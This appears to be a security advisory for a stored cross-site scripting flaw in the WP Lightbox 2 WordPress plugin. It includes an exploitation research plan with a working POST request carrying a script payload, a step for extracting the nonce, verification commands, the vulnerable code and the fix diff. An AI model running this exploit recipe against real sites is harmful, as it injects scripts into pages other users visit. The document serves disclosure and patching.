WP Lightbox 2 < 3.0.7 - Authenticated (Administrator+) Stored Cross-Site Scripting
Description
The WP Lightbox 2 plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 3.0.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.0.7
Source Code
WordPress.org SVN# Research Plan: Exploitation of CVE-2026-1430 (WP Lightbox 2 Stored XSS) ## 1. Vulnerability Summary The **WP Lightbox 2** plugin (versions < 3.0.7) contains a stored cross-site scripting (XSS) vulnerability within its settings management. Specifically, the `save_parametrs` function in `admin/gene…
Show full research plan
Research Plan: Exploitation of CVE-2026-1430 (WP Lightbox 2 Stored XSS)
1. Vulnerability Summary
The WP Lightbox 2 plugin (versions < 3.0.7) contains a stored cross-site scripting (XSS) vulnerability within its settings management. Specifically, the save_parametrs function in admin/general_settings.php fails to sanitize or escape input before storing it in the WordPress database via update_option. Although the vulnerability is authenticated (Administrator+), it presents a significant risk in environments where unfiltered_html is disabled (e.g., WordPress Multi-site), allowing an administrator to bypass security restrictions and inject arbitrary scripts that execute when users view pages with the lightbox active.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
save_in_databese_lightbox2 - Vulnerable Parameter:
jqlb_help_text(and potentially other keys in theget_general_settingsarray) - Authentication: Required (Administrator privileges with
manage_optionscapability) - Preconditions: The plugin must be active. Exploitation is most relevant when
unfiltered_htmlis restricted.
3. Code Flow
- Entry Point: The plugin registers an AJAX handler in
admin/general_settings.php:add_action( 'wp_ajax_save_in_databese_lightbox2', array($this, 'save_parametrs') ); - Nonce Verification: The
save_parametrs()function verifies a nonce passed via$_POST['wp_lightbox_2_general_settings_page']. - Sink (Storage): The function iterates through
$initial_values(retrieved from$this->databese_settings, which contains theget_general_settingsarray defined inincludes/install_database.php).// admin/general_settings.php foreach($initial_values as $key => $value){ if(isset($_POST[$key])){ update_option($key, stripslashes($_POST[$key])); // VULNERABLE SINK: No sanitization } } - Rendering (Frontend): The stored option (e.g.,
jqlb_help_text) is retrieved and echoed on pages where the lightbox enqueues its configuration or tooltips.
4. Nonce Acquisition Strategy
The nonce is generated on the plugin's general settings page.
- Identify Page: The settings page is located at
/wp-admin/admin.php?page=WP-Lightbox-2. - Access Page: Navigate to this URL using the
browser_navigatetool while logged in as an Administrator. - Extract Nonce: The nonce is present in an input field named
wp_lightbox_2_general_settings_page.- Use
browser_eval:document.getElementsByName("wp_lightbox_2_general_settings_page")[0].value
- Use
5. Exploitation Strategy
The exploit involves sending a crafted AJAX request to save a malicious payload into the jqlb_help_text setting.
Step 1: Collect Required Parameters
The save_parametrs function requires all settings keys to be present in the $_POST array to avoid an error. From includes/install_database.php, the keys for get_general_settings are:
jqlb_overlay_opacityjqlb_help_textjqlb_margin_sizejqlb_automatejqlb_commentsjqlb_resize_on_demandjqlb_show_downloadjqlb_navbarOnTopjqlb_resize_speed
Step 2: Send Malicious POST Request
Use the http_request tool to perform the update.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=save_in_databese_lightbox2&
wp_lightbox_2_general_settings_page=[EXTRACTED_NONCE]&
jqlb_help_text=</textarea><script>alert(document.domain)</script>&
jqlb_overlay_opacity=80&
jqlb_margin_size=0&
jqlb_automate=1&
jqlb_comments=1&
jqlb_resize_on_demand=0&
jqlb_show_download=0&
jqlb_navbarOnTop=0&
jqlb_resize_speed=400
(Note: Use URL encoding for the payload).
6. Test Data Setup
- User: Ensure an Administrator user exists.
- Plugin: Activate
wp-lightbox-2. - Page Content: Create a public post containing an image link to ensure the lightbox logic triggers on the frontend.
wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_content='<a href="https://example.com/test.jpg" rel="lightbox">View Image</a>'
7. Expected Results
- The AJAX request should return
sax_normala(the success string defined inadmin/general_settings.php). - When navigating back to the settings page or viewing a post where the lightbox is active, the script
<script>alert(document.domain)</script>should execute.
8. Verification Steps
- Check Database: Use WP-CLI to confirm the option is stored unsanitized.
wp option get jqlb_help_text - Check Response: Inspect the HTML of the settings page to see if the payload breaks out of the
<textarea>:curl -s -b cookies.txt "http://localhost:8080/wp-admin/admin.php?page=WP-Lightbox-2" | grep "jqlb_help_text"
9. Alternative Approaches
If jqlb_help_text is not reflected on the frontend, target other settings from get_design_settings if accessible, or check if the plugin supports a shortcode that displays the "Help Text". Alternatively, since the vulnerability exists in the update_option call, any setting updated by the AJAX action is a candidate if it is echoed elsewhere without escaping.
Summary
The WP Lightbox 2 plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting (XSS) due to a lack of input sanitization in its AJAX settings update handler. This allows administrators to inject malicious JavaScript into settings such as 'jqlb_help_text', which executes when users interact with the plugin's features. This vulnerability is particularly impactful in multi-site installations where 'unfiltered_html' is restricted.
Vulnerable Code
// admin/general_settings.php lines 32-42 public function save_parametrs(){ $initial_values= $this->databese_settings; $kk=1; if(isset($_POST['wp_lightbox_2_general_settings_page']) && wp_verify_nonce( $_POST['wp_lightbox_2_general_settings_page'],'wp_lightbox_2_general_settings_page')){ foreach($initial_values as $key => $value){ if(isset($_POST[$key])){ update_option($key,stripslashes($_POST[$key])); } else{ $kk=0; printf('error saving %s <br>',$key); } } }
Security Fix
@@ -32,12 +32,19 @@ public function save_parametrs() { $initial_values = $this->databese_settings; $kk = 1; + if ( ! current_user_can( 'manage_options' ) || ! wp_doing_ajax() ) { + die('Authorization Problem'); + } + if ( isset( $_POST['wp_lightbox_2_general_settings_page'] ) && wp_verify_nonce( $_POST['wp_lightbox_2_general_settings_page'], 'wp_lightbox_2_general_settings_page' ) ) { foreach ( $initial_values as $key => $value ) { if ( isset( $_POST[ $key ] ) ) { - update_option( $key, stripslashes( $_POST[ $key ] ) ); + update_option( $key, sanitize_text_field( stripslashes( $_POST[ $key ] ) ) ); } else { $kk = 0; printf( 'error saving %s <br>', $key ); @@ -45,7 +52,7 @@ } } } else { - die('Authorization Problem '); + die('Authorization Problem'); }
Exploit Outline
The exploit targets the AJAX action 'save_in_databese_lightbox2' used by the plugin to save general settings. An attacker with Administrator privileges first navigates to the plugin's settings page (/wp-admin/admin.php?page=WP-Lightbox-2) to extract a valid CSRF nonce from the 'wp_lightbox_2_general_settings_page' hidden input field. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the action parameter, the nonce, and a malicious payload containing arbitrary HTML/JavaScript inside the 'jqlb_help_text' parameter. Because the plugin uses 'update_option' on the raw POST data (after stripslashes) without sanitization, the payload is saved to the database. The script will execute when the settings page is reloaded or when the lightbox help text is rendered on the website's frontend.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.